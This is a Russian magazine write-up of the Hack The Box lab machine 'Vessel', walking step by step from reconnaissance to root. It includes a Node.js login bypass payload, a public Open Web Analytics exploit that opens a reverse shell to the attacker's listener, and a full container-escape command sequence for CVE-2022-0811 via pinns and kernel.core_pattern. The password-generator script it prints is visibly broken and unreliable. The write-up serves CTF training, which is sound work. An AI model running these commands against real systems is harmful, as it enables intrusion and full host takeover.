Хакер - HTB Vessel. Эксплуатируем уязвимость в кластере Kubernetes

Хакер - HTB Vessel. Эксплуатируем уязвимость в кластере Kubernetes

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как повышать при­виле­гии через уяз­вимость CVE-2022-0811, которая поз­воля­ет с мак­сималь­ными при­виле­гиями выходить из кон­тей­нера в клас­тере Kubernetes. По дороге пос­мотрим, как собирать дан­ные из репози­тория Git, про­экс­плу­ати­руем SQL-инъ­екцию и попен­тестим плат­форму Open Web Analytics, что­бы получить дос­туп к хос­ту. Еще раз­берем­ся с генера­тором паролей и рас­шифру­ем PDF-документ.

На­ша цель — зах­ватить учеб­ную машину Vessel с пло­щад­ки Hack The Box. Ее уро­вень — «слож­ный».

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.178 vessel.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

Наш­ли три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Apache 2.4.41;
  • 8888 — веб‑сер­вер Python 3.8.10 вер­сии 0.6.

С SSH ничего сде­лать не получит­ся, веб‑сер­вер Python тоже вещь узкоспе­циали­зиро­ван­ная, поэто­му идем к основно­му сай­ту на пор­те 80.

Глав­ная стра­ница сай­та

Нас встре­чает сайт‑визит­ка без каких‑либо допол­нитель­ных воз­можнос­тей, поэто­му прис­тупим к ска­ниро­ванию.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL.

Мес­то перебо­ра помеча­ется сло­вом FUZZ.

ffuf -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.txt

-t 256

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

В вывод посыпа­лись все вари­анты из сло­варя. Давай добавим филь­тр, что­бы это­го избе­жать. К при­меру, видим, что раз­меры всех отве­тов рав­ны 26, поэто­му прос­то исклю­чим такие вари­анты с помощью парамет­ра -fs.

ffuf -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.txt

-t 256 -fs 26

В этот раз получа­ем реаль­ные катало­ги, при­чем очень даже инте­рес­ные.

ТОЧКА ВХОДА

Нач­нем изу­чение с катало­га dev, который выпол­няет редирект (код отве­та 301). Смот­рим на него через бра­узер и получа­ем стра­ницу 404. Так как всю работу я веду через Burp Proxy, могу в любой момент пос­мотреть исто­рию зап­росов.


Burp History

Ви­дим, что Apache выпол­няет стан­дар­тный редирект с /dev в /dev/ и толь­ко тог­да перехо­дит к стра­нице 404. То есть каталог /dev/ все же сущес­тву­ет, поэто­му выпол­ним ска­ниро­вание в нем.

ffuf -u 'http://vessel.htb/dev/FUZZ' -w files_interesting.txt -t 256 -fs 26

Ре­зуль­тат ска­ниро­вания фай­лов с помощью ffuf

И находим дос­тупный Git-репози­торий. Ска­чивать содер­жимое репози­тори­ев мож­но с помощью пакета скрип­тов dvcs-ripper.

./rip-git.pl -u http://vessel.htb/dev/.git/

А теперь в текущем катало­ге прос­то откры­ваем gitk — это GUI для работы с Git-репози­тори­ями. И сра­зу находим учет­ные дан­ные для под­клю­чения к базе дан­ных.

Со­дер­жимое фай­ла db.js

Гу­ляя по исто­рии ком­митов, обна­ружи­ваем мес­то, где была запат­чена SQL-инъ­екция. Полез­но прос­матри­вать подоб­ные мес­та, так как патч может быть не сов­сем кор­рек­тный.

Из­менение в фай­ле index.js

От­кры­ваем этот файл и смот­рим, как обра­баты­вает­ся поль­зователь­ский ввод.

Со­дер­жимое фай­ла index.js

Node.js поз­воля­ет работать со стро­ками как с объ­екта­ми, то есть если вмес­то вво­да прос­той стро­ки пароля мы вве­дем прев­ращен­ный в стро­ку объ­ект password[password]=1, то он будет интер­пре­тиро­ван Node.js и мы получим резуль­тат про­вер­ки true. Поп­робу­ем авто­ризо­вать­ся от име­ни адми­нис­тра­тора сай­та. В Burp Proxy перех­ватыва­ем зап­рос на авто­риза­цию и меня­ем переда­ваемые дан­ные.

Зап­рос на авто­риза­цию
Па­нель адми­нис­тра­тора сай­та

Пос­ле про­пус­ка зап­роса получа­ем адми­нис­тра­тив­ную панель как авто­ризо­ван­ный поль­зователь.

ТОЧКА ОПОРЫ

Изу­чаем содер­жимое панели и находим гра­фу ана­лити­ки, которая ведет нас на дру­гой под­домен.


Ис­тория зап­росов в Burp History

Най­ден­ное домен­ное имя добав­ляем в файл /etc/hosts и пов­торя­ем зап­рос. Нас встре­чает стра­ница авто­риза­ции сис­темы Open Web Analytics.

10.10.11.178 vessel.htb openwebanalytics.vessel.htb

Фор­ма авто­риза­ции OWA

Най­ден­ные учет­ные дан­ные сюда не подош­ли, поэто­му поищем готовые экс­пло­иты. Пер­вым делом сто­ит про­верять сай­ты вро­де HackerOne и exploit-db. Я без тру­да отыс­кал экс­пло­ит как раз на GitHub.

По­иск экс­пло­итов в Google

Open Web Analytics до вер­сии 1.7.4 поз­воля­ет неав­торизо­ван­ному ата­кующе­му получать кон­фиден­циаль­ную информа­цию о поль­зовате­ле и добить­ся при­виле­гий адми­нис­тра­тора. Впро­чем, эта реали­зация экс­пло­ита под­робно логиру­ет все свои дей­ствия. Откро­ем лис­тенер:

pwncat-cs -lp 4321

И запус­тим экс­пло­ит.

python3 exploit.py http://openwebanalytics.vessel.htb/ 10.10.14.4 4321

Ре­зуль­тат выпол­нения экс­пло­ита

И получа­ем новую сес­сию в pwncat-cs.

Но­вая сес­сия в лис­тенере

ПРОДВИЖЕНИЕ

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Я, как всег­да, исполь­зую для это­го скрип­ты PEASS.

Справка: скрипты PEASS для Linux

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим на хост скрипт для Linux и выберем наибо­лее инте­рес­ную информа­цию.

Во‑пер­вых, мы можем прос­матри­вать фай­лы в домаш­нем катало­ге поль­зовате­ля steven.

Фай­лы в катало­гах дру­гих поль­зовате­лей

Во‑вто­рых, поль­зовате­лю ethan дос­тупно выпол­нение коман­ды pinns от име­ни рута, так как у исполня­емо­го фай­ла выс­тавлен s-бит.

Фай­лы с активным SUID

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

В‑треть­их, на хос­те дос­тупна прог­рамма runc.

Про­вер­ка фай­ла runc

Да­вай ска­чаем фай­лы passwordGeneratorscreenshot.png и notes.pdf из домаш­него катало­га поль­зовате­ля. Для это­го в pwncat вый­дем в основное меню сочета­нием кла­виш Ctrl-D, а затем исполь­зуем коман­ду download для ска­чива­ния фалов на локаль­ный хост. Что­бы обратно получить коман­дную обо­лоч­ку уда­лен­ного хос­та, исполь­зуем коман­ду back.

PDF ока­зал­ся защищен паролем, а скрин­шот, видимо, показы­вает окно генера­тора паролей, который у нас тоже есть.

Ска­чан­ный скрин­шот

От­метим для себя парамет­ры, исполь­зован­ные при сос­тавле­нии пароля: дли­на — 32 сим­вола, а алфа­вит вклю­чает все сим­волы. Я закинул генера­тор в дизас­сем­блер и сре­ди строк нашел мно­го типич­ных для Python пат­тернов.

Стро­ки из фай­ла passwordGenerator

Та­ким обра­зом, это скрипт на Python, ском­пилиро­ван­ный в исполня­емый файл .exe. Есть воз­можность дос­тать из .exe код на Python в чис­том виде, для чего мож­но исполь­зовать pyinstxtractor.

Де­ком­пилиро­вание py2exe-фай­ла

Мы получим файл .pyc, который нуж­но деком­пилиро­вать в .py с помощью uncompile. Затем в извле­чен­ном скрип­те находим фун­кцию для генери­рова­ния пароля — genPassword.

Ис­ходный код фун­кции genPassword
Ис­ходный код вспо­мога­тель­ных фун­кций

Вот толь­ко генера­тор написан с ошиб­кой, так как фун­кция QTime::msec(), которая воз­вра­щает сид для даль­нейше­го псев­доран­дома, выда­ет мил­лисекун­дную часть вре­мени — чис­ло от 0 до 999. А это зна­чит, что воз­можно сге­нери­ровать все­го 1000 раз­ных паролей. Я наб­росал скрипт, который сос­тавит спи­сок всех паролей:

from PySide2.QtCore import *

passwords = []

length = 32

charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|

:;<>,.?'

for rsec in (0,1000):

qsrand(q)

password = ''

for i in range(length):

idx = qrand() % len(charset)

nchar = charset[idx]

password += str(nchar)

passwords.append(password)

with open('passwords.txt', 'wt') as f:

for pwd in passwords:

f.write(pwd + '\n')

Есть одно но: сге­нери­ровать вер­ный сло­варь получит­ся толь­ко с исполь­зовани­ем извле­чен­ных из исполня­емо­го фай­ла биб­лиотек Qt. Поэто­му ско­пиру­ем всю пап­ку с извле­чен­ными фай­лами на вир­туал­ку с Windows и запус­тим скрипт отту­да. Будут под­клю­чены нуж­ные биб­лиоте­ки Qt. Сде­лав сло­варь, проб­рутим пароль PDF-докумен­та с помощью pdfcrack.

pdfcrack -f notes.pdf -w ./password.txt

Ре­зуль­тат перебо­ра паролей

В самом докумен­те находим пароль, с которым мож­но авто­ризо­вать­ся по SSH от име­ни поль­зовате­ля ethan.

Со­дер­жимое PDF-докумен­та
Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

А теперь обра­тим­ся к runC — инс­тру­мен­ту для запус­ка кон­тей­неров, соз­данно­го в рам­ках про­екта Open Containers. Ког­да я уви­дел пра­ва на исполня­емый файл pinns и при­сутс­твие runc, сра­зу вспом­нил о недав­ней уяз­вимос­ти CVE-2022-0811 в Kubernetes, которая поможет под­нять при­виле­гии на основном хос­те до root. Если ты о ней не слы­шал, то можешь почитать, к при­меру, в статье CrowdStrike.

По­иск тех­ники в Google

Ра­бота­ет уяз­вимость сле­дующим обра­зом. Kubernetes задей­ству­ет сре­ду выпол­нения кон­тей­нера, такую как CRI-O или Docker, для безопас­ного сов­мес­тно­го исполь­зования ядра и ресур­сов каж­дой ноды с раз­ными работа­ющи­ми кон­тей­нер­ными при­ложе­ниями. Ядро Linux при­нима­ет парамет­ры вре­мени выпол­нения, которые управля­ют его поведе­нием. Kubernetes и управля­емые им сре­ды выпол­нения кон­тей­неров поз­воля­ют модулям обновлять эти «безопас­ные» нас­трой­ки ядра, бло­кируя дос­туп к дру­гим.

Спе­циалис­ты из CrowdStrike наш­ли уяз­вимость, которая поз­воля­ет обхо­дить меры безопас­ности и уста­нав­ливать про­изволь­ные парамет­ры ядра. Таким обра­зом, любой, у кого есть пра­ва на раз­верты­вание модуля в клас­тере Kubernetes, исполь­зующий CRI-O, может манипу­лиро­вать парамет­ром kernel.core_pattern для выхода из кон­тей­нера и выпол­нения про­изволь­ного кода от име­ни поль­зовате­ля root на любом узле в клас­тере.

Runc поз­воля­ет запус­кать кон­тей­неры без при­виле­гий root. Но про­цес­сы, запус­кающие такой кон­тей­нер, все рав­но будут при­над­лежать поль­зовате­лю root! Получа­ется, что если какой‑то про­цесс смо­жет вый­ти из кон­тей­нера, то он будет работать на основном хос­те с пра­вами root.

Пе­рей­дем к экс­плу­ата­ции и пер­вым делом соз­дадим кон­фигура­цию для запус­ка кон­тей­нера.

runc spec --rootless

А теперь откро­ем соз­данный файл config.json и в раз­дел mounts добавим кон­фигура­цию:

{

"destination": "/",

"type": "bind",

"source": "/",

"options": [

"rbind",

"rw",

"rprivate"

]

}

Из­менение в фай­ле config.json

Те­перь в текущем катало­ге соз­дадим каталог rootfs и запус­тим кон­тей­нер.

mkdir rootfs

runc --root /tmp/ralf run alpine

По­луче­ние сес­сии в кон­тей­нере

Мы получи­ли сес­сию в кон­тей­нере, но нам нуж­на вто­рая сес­сия на основном хос­те, поэто­му во вто­ром тер­минале авто­ризу­емся на хос­те через SSH. На основном хос­те сде­лаем скрипт на Bash, который будет наз­начать S-бит фай­лу коман­дной обо­лоч­ки /bin/bash.

echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/ralf/payload.sh

chmod +x /tmp/ralf/payload.sh

В пер­вом сеан­се (том, что в кон­тей­нере) про­веря­ем наличие соз­данно­го скрип­та и прав на выпол­нение.

Про­вер­ка соз­данно­го на основном хос­те скрип­та в кон­тей­нере

Скрипт соз­дан, теперь уста­новим параметр ядра kernel.core_pattern, который ука­зыва­ет, что дол­жно сде­лать ядро при его дам­пе. Так мы ска­жем ядру выпол­нить нашу наг­рузку, которая будет запуще­на с пра­вами root. Сде­лать это мож­но сле­дующей коман­дой, которую я нашел в статье в бло­ге Tencent.

pinns -d /var/run/ -f 37f594b6-4ffb-43a2-a0d5-e7b23d642115 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/ralf/payload.sh #' --ipc --net --uts --cgroup

И сра­зу про­веря­ем, уста­новил­ся ли параметр kernel.core_pattern.

cat /proc/sys/kernel/core_pattern

Про­вер­ка парамет­ра kernel.core_pattern

Те­перь акти­виру­ем и выпол­ним дамп ядра.

ulimit -c unlimited

tail -f /dev/null &

ps

bash -i

kill -SIGSEGV 26

ps

Дамп ядра

На­ша коман­да была выпол­нена ядром за пре­дела­ми прос­транс­тва имен кон­тей­нера с при­виле­гиями root, о чем сви­детель­ству­ет S-бит у фай­ла коман­дной обо­лоч­ки.

Пра­ва фай­ла /bin/bash

За­пус­каем новый Bash и получа­ем пол­ные при­виле­гии на хос­те.

Флаг рута

Ма­шина зах­вачена!

читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page